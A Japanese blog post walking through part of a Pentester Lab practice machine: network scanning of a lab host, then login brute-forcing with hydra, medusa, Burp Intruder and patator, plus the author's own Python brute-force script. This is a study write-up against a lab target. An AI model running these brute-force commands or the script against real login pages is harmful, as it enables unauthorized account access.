高林の雑記ブログ

こんにちは。

Pentester Lab: Rack Cookies and Commands Injection Walkthrough

難易度hardのマシンです。自分は難しくて手も足も出ませんでした……
基本的にはpenterster lab公式のWalkthroughを読むことをおススメします。ここにはそっちには書いていないような自分が試したこととかをメモします。完全なWalkthroughではないので悪しからず
調査する手順とか方法は自分が書いた

kakyouim.hatenablog.com
を参考にしています。

ネットワークの調査

  • echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
    f:id:kakyouim:20200127004130p:plain
    192.168.56.32ですね。
  • nmap -p- -sV -sT -A 192.168.56.32

    f:id:kakyouim:20200127004216p:plain
    sshとISCBINDが起動していますがどちらも脆弱ではないようです。Webサービスの稼働している80を見ていくことになりそうですね
  • nikto -h 192.168.56.32
    f:id:kakyouim:20200127004540p:plain
    特に有益な情報はないですね

  • owasp zap
    f:id:kakyouim:20200127004404p:plain
    自分はいろいろ試すためにowasp zapとかも使って見ています。どうやらログインページがあるだけのようですね

    調査は大体こんなもんでしょうか。次は、vulnhubの説明にもあるようにブルートフォースでログインを試みてみます

    Login Brute Force

  • hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -P /usr/share/john/password.lst -s 80 192.168.56.32 http-post-form '/login:login=^USER^&password=^PASS^:....'
    とりあえずhydra先輩を使ってみる、が成功せず……。なんでだ?と思いWiresharkで確認する
    f:id:kakyouim:20200127004937p:plain
    Locationヘッダーでリダイレクトしている様子。
    hydraはbodyの中に特定の文字列があるかどうかで判定しているが、今回はbodyには何も含まれずリダイレクトするので失敗していると考えられる。
    ツールの限界を知るのって大事ですね

  • medusa -h 192.168.56.32 -U /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:".." -m FORM-DATA:"post?login=&password=&"
    次に、medusa先輩を使ってみる
    f:id:kakyouim:20200127005302p:plain
    どうやらレスポンスコードが302の場合はエラーとなって実行できないようです。
    ツールによっていろいろ違うんですね

  • Burp Intruder
    次にBurp Suiteの機能の一つであるIntruderを使ってみます
    wordlistとして、/usr/share/metasploit-framework/data/wordlists/http_default_users.txtを使ってみます
    f:id:kakyouim:20200127005518p:plain
    どれも成功してません……
    BurpはPro版でなければスレッドを1以外に多分設定できないのでめっちゃ時間かかります。できれば別のワードリストで試したいですがそれは時間的に厳しそうです
    ちなみにBurpならリダイレクト先まで確認できるのでそれをみれば判定できそうです

    自分はここでギブアップしてしまいましたが、公式の解説を見るとどうやらpatatorというツールを使えばリダイレクト先までチェックできるようです
  • python patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=/usr/share/wfuzz/wordlist/general/big.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
    f:id:kakyouim:20200127010048p:plain
    これで成功しました!
    なお、標準でpatatorコマンドは入っているのですが、なんか動かなかったので新しく入れなおしました

ちなみにignoreオプションを付けてもいいのですが、レスポンスのサイズでも判別できるような気がするので、-l /tmp/patatorオプションでRUNTIME.logにコマンド実行結果を保存して、
cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'
とかで異常なレスポンスのサイズのやつを抽出すると、
f:id:kakyouim:20200127010404p:plain
こんな感じでtestだとわかりますね!


ちなみに、公式ではRubyブルートフォースコードも実装していましたが、勉強のためにpythonでも書いてみました(実際に別の言語でコードを書いてみよう!的なことが書いてあったので……)。

なお、公式の方では、Locationヘッダーに/login以外があるかどうかで判別していましたが、pythonの方ではSet-Cookieヘッダーがあるかないかで判別するようにしました

import urllib.request
import urllib.parse
from bs4 import BeautifulSoup
import sys
import subprocess

user_count = int(subprocess.check_output(['wc', '-l', sys.argv[1]]).decode().split(' ')[0])
pass_count = int(subprocess.check_output(['wc', '-l', sys.argv[2]]).decode().split(' ')[0])
print("Count file line:user",user_count," pass",pass_count)
count = 0

opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor())

url = 'http://192.168.56.32/login'
data = {
    'login': 'foo',
    'password': 'deadbeef',
}

headers = {
}

fp_user = open(sys.argv[1],'r',encoding="utf8",errors='ignore')
for user in fp_user.readlines():
    
    fp_pass = open(sys.argv[2],'r',encoding="utf8",errors='ignore')
    for password in fp_pass.readlines():
        data["login"] = user.rstrip('\n')
        data["password"] = password.rstrip('\n')
        #print("Try username:",user.rstrip('\n')," password:",password.rstrip('\n'))
        count = count + 1
        if((count % 300)==0):
            print("attack count ",count," percent:",100*count/(user_count*pass_count),"%")
        
        req = urllib.request.Request(url, urllib.parse.urlencode(data).encode('utf-8'), headers)
        res = opener.open(req)
        body = res.read()
        if res.info()['Set-Cookie'] != None:
            print("[+] Valid user Found!! user=",user.rstrip('\n')," password=",password.rstrip('\n'))
            #print(BeautifulSoup(body, 'html.parser'))
            sys.exit()
res.close()

これを実行すると、
f:id:kakyouim:20200127011133p:plain
testで成功しました!わーい!


これ以後は公式の解説通りなのでそっちを参照してください

最後に

ここではログインブルートフォースまでを記事にしました。参考になればよかったです。
Pentester Lab シリーズは公式の解説がめちゃくちゃ丁寧なのでぜひやってみることをお勧めします!
いつかhardレベルも解けるようになりたいものですね。